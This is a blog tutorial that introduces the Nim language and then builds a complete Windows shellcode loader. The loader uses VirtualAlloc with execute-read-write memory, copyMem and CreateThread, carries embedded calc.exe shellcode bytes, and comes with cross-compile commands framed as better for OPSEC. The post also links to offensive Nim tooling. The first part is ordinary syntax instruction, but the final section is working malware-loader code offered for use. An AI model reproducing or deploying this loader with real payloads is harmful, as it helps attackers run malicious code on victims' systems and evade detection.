Malware Development 17 - Introduction to offensive Nim
Introduction
Hi there!
Some days back I thought about learning a new language that could was powerful, lightweight, modern and easy to learn. Finally, I decided that Nim was the language I was looking for. As the official page says: Nim is a statically typed compiled systems programming language. It combines successful concepts from mature languages like Python, Ada and Modula.
It’s able to generate executables supported on all major platforms like Windows, Linux, BSD and macOS. One of its most important features are its deterministic and customizable memory management (with destructors and move semantics) and the greatly reduced size of the executables it’s able to generate. Furthermore, it also has a generally elegant syntax with lots of different local types and statements. Putting this together, I realized that it’s a perfect language to learn for cybersecurity purposes.
Nim basics
In this post I won’t cover everything this language has but I will focus on the basic syntax that will allow us to create a basic program capable of loading shellcode using one of the most common technique which follows VirtualAlloc
–> WriteProcessMemory
–> CreateThread
. This said, just take this post as an introduction to offensive Nim.
Before starting with the main explanation it’s crucial to highlight the fact that Nim is based on indentation in the same way as Python (among others) does. This means that the code must be indendated in order to be properly parsed by the compiler. It’s also important to note that Nim has a lot (even too much) statements, custom functions and features that most programming languages doesn’t so at first it may be a little bit tricky to use, but once you known how it works you will take advantage of it. And believe me it’s worth it.
Let’s start with the most basic things that one must know when learning a new language.
Comments
Single line comments are written like this:
1
# This is a comment
Meanwhile multi-line comments are written like this:
1
2
3
4
5
6
#[
This is a comment,
this still is a comment
]#
Defining variables
Nim has multiple ways and words to define variables depending on your needs:
1
2
3
4
5
6
7
8
9
10
11
12
13
var x, y: int # declares x and y to have the type int
var # declare (and assign) variables
my_variable: string = "this is a string"
number: int = 7
name = "John" # declare variable without data type (Nim compiler is smart enough)
let # declare (and assign) immutable variables (its value is evaluated during runtime)
pi: float = 3.14
truth: bool = true
const # declare (and assign) immutable variables (its value is evaluated during compile time)
nSize: int = 4
If you want to understand better the difference between var
, let
and const
take a look at this post
It’s also important to mention that the syntax is totally flexible so you can define a variable without assigning it a value, as well as you can define a variable and assign it a value without specifying the data type (e.g. string). You can also define a variable in a single line like this: let city: string = "London"
Data types
Nim has all typical data types like strings, integers, floats, chars, arrays and more
1
2
3
4
5
6
7
8
9
10
11
12
13
string
int
float
char
array
seq
tuple
int8
int16
int32
int64
float32
float64
Integers can also have 0[xX]
, 0o
, 0[Bb]
prepended to indicate a hex, octal, or binary literal, respectively. Underscores are also valid in literals, and can help with readability.
1
2
3
4
let
a: int8 = 0x7F # Works
b: uint8 = 0b1111_1111 # Works
d = 0xFF # type is int
If, else and while
In this aspect, Nim is really similar to other languages.
1
2
3
4
5
6
7
8
var i: int = 1
if i == 5:
echo "Equal"
elif i < 5:
echo "Lower"
else:
echo "Higher"
There also is a different statement from if
which is when
. It basically works in the same way but with some differences:
- Each condition must be a constant expression since it is evaluated by the compiler.
- The compiler checks the semantics and produces code only for the statements that belong to the first condition that evaluates to
true
.
The when
statement is useful for writing platform-specific code, similar to the #ifdef
construct in C.
1
2
3
4
5
6
7
8
when system.hostOS == "windows":
echo "running on Windows!"
elif system.hostOS == "linux":
echo "running on Linux!"
elif system.hostOS == "macosx":
echo "running on Mac OS X!"
else:
echo "unknown operating system"
Loops
There is not much to say about loops as it’s basically almost the same in any language.
1
2
3
4
5
6
7
8
for i in 1..10: # iterate from 1 to 20
echo i
while true:
echo "looping forever"
for index, item in ["a", "b", "c"]:
echo item, " at index ", index
Nim also has the statements continue
and break
to continue until next loop iteration and to exit from loop, respectively
Data structures
The arrays in Nim are like classic C arrays, their size is specified at compile-time and cannot be given or changed at runtime. Meanwhile, sequences (seq
) provide dynamically expandable storage.
1
let names: array[3, string] = ["Jasmine", "Ktisztina", "Kristof"]
1
2
3
4
5
6
var drinks: seq[string] = @["Water", "Juice", "Chocolate"]
drinks.add("Milk")
if "Milk" in drinks:
echo "We have Milk"
For instance, the sequences will be useful when defining our shellcode on the program we will create later.
You can also create tuples with multiple fields:
1
2
var child: tuple[name: string, age: int]
child = (name: "John", age: 22)
Data types
As other languages, Nim also allows you to create your own data types
1
2
3
4
5
6
type
Name = string
Age = int
Cash = int
var guest: Name = "John"
For example, in our case we will use the statement cast
to convert data types (e.g. from integer to pointer) when calling the Windows API. We will take a look at this later.
Procedures
The procedures must contain the parameters they expect as well as the type of variable they return. The procedure starts after the =
symbol. Normally, you would use return
to return a value. However, Nim has a special variable which is supossed to be returned in case no other variable is returned. This is the variable result
1
2
3
4
5
proc fibonacci(n: int): int =
if n < 2:
result = n
else:
result = fibonacci(n - 1) + (n - 2).fibonacci
Here you have another example to show how flexible it is:
1
proc greaterThan32(n: int): bool = n > 32
Common packages to import
Here I will provided a list of useful Nim packages that are often imported.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
os
winim
regex
random
serial
math
httpclient
uri
htmlparser
base64
md5
sha1
tempfiles
psutil
shell
nimcrypto
hashlib
chroma
http-utils
chronicles
For more packages and awesome resources, see here
Special features and more
This language is pretty flexible and powerful due to its insane amount of statements and operators so now I will cover some points that one may not understant at all when learning Nim at first
- isMainModule
1
2
when isMainModule:
doSomething()
What does that isMainModule
really mean? It’s basically detecting whether it is being called directly as a program itself or being used as a library. That may be useful for example, to create a function which takes care of injecting shellcode on a remote process (which can be also used as a library) but if it’s compiled as the main file, then it will execute the statements inside that block.
- discard
1
discard WaitForSingleObject(tHandle, -1)
Nim warns you if there are values that are define but not being used. That is why there also is a statement like discard
, to call a function but without taking care of the return value
- defined()
1
2
when defined(windows):
doSomething()
The procedure defined()
is a built-in feature which allows us to check if a certain constant or symbol was given during compilation. This is usually used to check the OS in which the program will run, to perform one operation or another.
Calling Windows API (Example)
In order to be able to use the Windows API, we have to import the native winim
library. It will provide us direct access to functions like VirtualALloc
or WriteProcessMemory
.
First of all we start by importing the package as mentioned:
1
import winim/lean
Then we define the main function where all our malicious stuff will be:
1
proc loadShellcode(shellcode: openarray[byte]): void =
And once we have done this, we have to call the Windows API function as it is defined. In our case we start by calling VirtualAlloc
:
1
2
3
4
5
6
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
That would be translated to Nim like this:
1
var mem = VirtualAlloc(nil, len(shellcode), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE)
Having this in mind, we continue by copying the shellcode to the memory allocated before using memCopy
(we could have also used WriteProcessMemory
instead):
1
2
3
4
5
void CopyMemory(
_In_ PVOID Destination,
_In_ const VOID *Source,
_In_ SIZE_T Length
);
1
copyMem(mem, shellcode[0].addr, len(shellcode))
After this, we execute our shellcode using the CreateThread
function:
1
2
3
4
5
6
7
8
HANDLE CreateThread(
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in, optional] __drv_aliasesMem LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out, optional] LPDWORD lpThreadId
);
1
var tHandle = CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](mem), nil, 0, cast[LPDWORD](0))
And finally we take care of closing the thread and waiting for the shellcode to execute
1
2
3
BOOL CloseHandle(
[in] HANDLE hObject
);
1
defer: CloseHandle(tHandle)
1
2
3
4
DWORD WaitForSingleObject(
[in] HANDLE hHandle,
[in] DWORD dwMilliseconds
);
1
discard WaitForSingleObject(tHandle, -1)
</br>
Finally our code is complete
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import winim/lean
proc loadShellcode(shellcode: openarray[byte]): void =
var mem = VirtualAlloc(nil, len(shellcode), MEM_COMMIT, PAGE_EXECUTE_READ_WRITE)
copyMem(mem, shellcode[0].addr, len(shellcode))
let tHandle = CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](mem), nil, 0, cast[LPDWORD](0))
defer: CloseHandle(tHandle)
discard WaitForSingleObject(tHandle, -1)
when isMainModule:
# calc.exe shellcode
var shellcode: seq[byte] = @[byte 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3]
loadShellcode(shellcode)
Demo
In order to compile our Nim code we will do it like this:
1
$ nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release c main.nim
In case you want to reduce the executable size and its sections (which is better for OPSEC) you may do it like this:
1
$ nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release -d:strip --opt:size c main.nim
Now let’s transfer our EXE to a Windows system to see if it works properly
As we see it works and a calc.exe window has spawned
References
Here you have a list of references that may be useful to you
1
2
3
4
5
6
7
8
9
10
11
https://nim-lang.org/
https://github.com/byt3bl33d3r/OffensiveNim
https://nim-by-example.github.io/hello_world/
https://github.com/chvancooten/maldev-for-dummies
https://github.com/chvancooten/NimPlant
https://github.com/adamsvoboda/nim-loader
https://github.com/sh3d0ww01f/nim_shellloader
https://github.com/frkngksl/NiCOFF
https://github.com/nim-lang/nimble
https://github.com/kensh1ro/syscall_nimject
https://github.com/TunnelGRE/XOR_NIM_Inject
Conclusion
I hope this post have been useful to you. We have learned the basics of Nim and how we can approach them to create a really simple shellcode loader.
Source code here